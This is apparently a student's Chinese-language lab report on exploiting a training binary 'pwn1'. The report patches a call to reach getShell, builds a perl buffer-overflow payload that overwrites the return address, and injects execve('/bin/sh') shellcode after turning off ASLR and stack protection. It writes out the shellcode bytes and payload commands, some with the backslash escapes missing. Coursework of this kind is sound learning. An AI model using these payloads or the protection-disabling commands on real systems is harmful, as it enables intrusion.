一、实验要求
1.1 实验目标
本次实践的对象是一个名为pwn1的linux可执行文件。该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码。
掌握反汇编与十六进制编程器。
正确修改机器指令改变程序执行流程。
正确构造payload进行bof攻击。
1.2 实验内容
手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。
1.3 基础知识
1.3.1熟悉Linux基本操作,能看懂常用指令,如管道(|),输入、输出重定向(>)等;理解Bof的原理。会使用gdb,vi等;能看得懂汇编、机器指令、EIP、指令地址;还需要配置好环境,安装GDB、execstack、net-tools等。
1.3.2掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码:
NOP:0x90
JNE:0x75
JE:0x74
CMP:0x39
JMP:Short Jump(短跳转):0xEB Near Jump(近跳转):0xE9 Far Jump(远跳转):0xEA
1.3.3掌握掌握反汇编与十六进制编程器:
1.3.3.1反汇编指令:objdump -d (文件名)| more
objdump -d:将代码段反汇编
| 管道符:命令A|命令B,即命令A的正确输出作为命令B的操作对象
more:使文件以一页一页的形式显示,更方便使用者逐页阅读。
1.3.3.2十六进制编程器
进入vim编辑器后按esc后输入:%!xxd将显示模式切换为16进制模式。
编辑完成后按esc后输入:%!xxd -r将转换16进制为原格式。
二、实验步骤
2.1直接修改程序机器指令,改变程序执行流程
2.1.1知识要求: Call指令,EIP寄存器,指令跳转的偏移计算,补码,反汇编指令objdump,十六进制编辑工具。
2.1.2学习目标:理解可执行文件与机器指令。
2.1.3进阶:掌握ELF文件格式,掌握动态技术。
2.1.4具体步骤
先将pwn1文件下载到主机桌面上,然后拖拽到虚拟机桌面上,为了保护原始文件以及形成对照。我将它copy到/home文件夹中,再进行操作,指令为cp pwn1 /home。可以通过ls指令查看操作是否成功。
接着开始反汇编文件,指令为objdump -d pwn1 | more,输入/getShell就可以跳到getShell这一行。
通过上面的图片可以看到机器码16进制对应的汇编指令,和程序在运行时每条指令所在的内存地址。这里可以看到,main函数第4行(内存地址80484b5)跳转到了foo函数(内存地址8048491),接下来的实验中用到的getShell函数的内存地址为804847d。机器指令e8即为跳转,后面的数值d7ffffff是补码,表示-41,41=0x29。经过计算,80484ba +d7ffffff= 8048491。
我们要做的是改变程序执行流程,下一步要做的事对可执行文件进行修改,令其在main函数中第4条指令跳转到getShell函数。只要我们修改可执行文件“d7ffffff”为"804847d-80484ba"对应的补码c3ffffff即可。
修改机器指令。用vim指令vi pwn1编辑该文件。
发现都是乱码,此时点击esc键,输入:%!xxd,将显示模式切换为16进制表示。
然后按下回车即可保持定位,然后按 i 进入编辑模式将d7替换为c3即可。
修改完成后,点击esc键,输入:%!xxd -r,将16进制转换为原格式。点击esc键,输入: wq存盘退出vi。
检验实验结果。首先反汇编一下更改过的文件,发现此时main函数第四行调用的是getShell函数。
接下来分别执行一下两个文件(修改过的和未修改过的)。
修改过的程序执行后,会出现Shell提示符,可以执行命令。没有修改过的程序,是会打印出来我们输入的字符串(执行的是foo函数),这反映了程序调用函数的不同;也证明了我们成功修改了该可执行文件。
2.2通过构造输入参数,造成BOF攻击,改变程序执行流
2.2.1知识要求:堆栈结构、返回地址
2.2.2学习目标:理解攻击缓冲区的结果,掌握返回地址的获取
2.2.3进阶:掌握ELF文件格式,掌握动态技术
2.2.3具体步骤
首先先将pwn1重新复制到 /home文件夹以证明接下来进行的bof攻击有效。
然后接着反汇编,查看getShell函数地址。我们的目标同样是要更改函数调用,触发getShell函数以达成我们的目标。这里可以看到getShell函数地址为0804847d。从图中可以看出call调用foo,同时在堆栈上压上返回地址值为80484ba。系统只预留了28字节的缓冲区,超出部分会造成溢出。我们要进行攻击的是foo函数,那么我们即可利用BOF,利用设计好的字符串,让其将溢出的部分改变一些内容,本实验中我们更改的是在函数返回时改变返回程序的地址(eip),让其跳转到我们指定的地址,执行我们需要执行的函数。
接下来我们需要确认输入字符串哪几个字符会如何覆盖到返回地址。此时我们先输入一串以及设计好的字符串用以检验。
这里先要安装一下调试功能。输入指令apt-get install gdb即可。
用gdb进入调试界面,之后输入 r 输入内容,确认输入多少字符串后会覆盖到程序的返回地址。
使用info r命令查看当前寄存器状态中,发现EIP寄存器被0x35353535的字段覆盖掉了,这就表示了当前返回地址是四个‘5’(去掉3),而EBP被0x34343434(即四个'4')字段覆盖掉了,因此说明缓冲区大小为28字节(由于输入的的数据共有40字节(8个1,8个2,8个3,8个4,8个5)但4字节的‘4’覆盖了ebp而4字节的‘5’覆盖了eip。
再将5替换成其它字段,确定具体的覆盖方式。(输入字符串1111111122222222333333334444444412345678)
发现字符1234会以从右至左的方式覆盖EIP寄存器。
确定好上述内容后,我们就可以将需要的内容(x7dx84x04x08)实现跳转到getShell处执行代码,即输入指令perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input。
这里简单解释一下上面的这条指令,Perl语言来代替我们生成符合要求的字符串重定向输出到input文件中,x0a表示回车。
使用xxd指令查看input文件的内容是否已成功更改。
然后用指令(cat input; cat) | ./pwn1将input文件作为文件的输入。此时程序可以直接执行指令。证明执行成功
2.3 注入Shellcode并执行
本次实验中已经准备好了这样一段shellcode:x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80。
接下来要关闭内存地址随机化,首先用指令apt-get install prelink安装可以使用设置堆栈的命令。
下面用指令关掉内存地址随机化。
设置堆栈可执行:execstack -s pwn1
查询文件的堆栈是否可执行:execstack -q pwn1
查看内存地址随机化的参数:more /proc/sys/kernel/randomize_va_space
关闭地址随机化:echo "0" > /proc/sys/kernel/randomize_va_space
下面要构造payload。Linux下有两种基本构造攻击buf的方法:retaddr+ nop+ shellcode,nop+shellcode+ retaddr。因为retaddr在缓冲区的位置是固定的, shellcode要不在它前面,要不在它后面。老师的实验指导中已经讲了要选取retaddr+nop+shellcode这种方式构造攻击代码。
首先利用十六进制编辑指令perl构造一个字符串,写入到input_shellcode文件中用作文件执行时的输入。在这段字符串中,末尾的x4x3x2x1会覆盖到堆栈上的返回地址。这里讲一下,我在一开始做的时候,最后一步总是出现段错误,我再检查了好久之后确定无误,于是过了几天重启虚拟机顺利完成,但是实验步骤没有改动,所以下面的截图是我第二次成功的截图,当时我是修改了文件名为pwn4311。
指令为:perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode
接着输入命令(cat input_shellcode;cat) | ./pwn4311
打开另一个终端进行调试,用指令ps -ef | grep pwn4311查看进程。
输入gdb 进入调试界面,然后输入 attach 1813调试这个进程。
用指令disassemble foo对foo函数进行反汇编。然后用指令break *0x080484ae设置断点,查看注入buf的内存地址。之后要回到刚开始的终端手动回车一下,然后回到调试的终端,输入指令 c 继续。接着借助指令info r esp查看查看栈顶指针所在的位置,并查看改地址存放的数据。这里可以观察到x4x3x2x1出现在栈顶,就是返回地址的位置。shellcode就挨着,所以地址是0xffffd32c+4=0xffffd330。
perl -e 'print "A" x 32;print "x60xd3xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode 这条指令用于修改攻击代码,将地址加进去。
借助指令(cat input_shellcode;cat) | ./pwn4311将其输入到终端。
此时发现已经可以执行指令了,证明注入shellcode成功。
三、实验心得
3.1实验感想
本次实验是网络对抗的第一次实验,上一次接触虚拟机是在信息安全概论的实验课上。整个的这次实验总体比较顺利,就是最后注入Shellcode并执行这个实验最后出了点问题,是最后执行的时候出现段错误,在翻阅了很多同学的文章后也发现有的同学也碰到了这个问题,他们也有很多的解决办法,比如说指令有误敲错,文件名有无写对,地址有没有找对等等,但是他们的很多方式我都尝试了,但并没有解决这个问题,在确定我的思路和方法正确后,我将虚拟机关掉,过了几天重启重新做了一遍,最后注入成功也执行成功,虽然说我也很奇怪,因为实验步骤和指令并没有差异,我猜测可能是需要重启虚拟机的缘故。
总的来说,本次实验让我学会了一些知识,例如反汇编的相关知识,利用十六进制编辑文件,简单使用perl语句等,也在一定程度上熟练了我对kali的使用,对之后的实验也是一定的帮助。
3.2思考: 什么是漏洞?漏洞有什么危害?
漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷。
漏洞的危害:漏洞会被不法分子利用从而对电脑或平台以及其中信息的拥有者产生极为不利影响,比如说一些黑客攻击、病毒入侵、用户数据丢失或被篡改、重要资料被窃取导致的隐私泄漏财产损失、个人信息泄露被非法利用等等。
比如说二维码安全漏洞,一些不法分子就利用二维码进行传播手机病毒和不良信息从而进行诈骗等犯罪活动。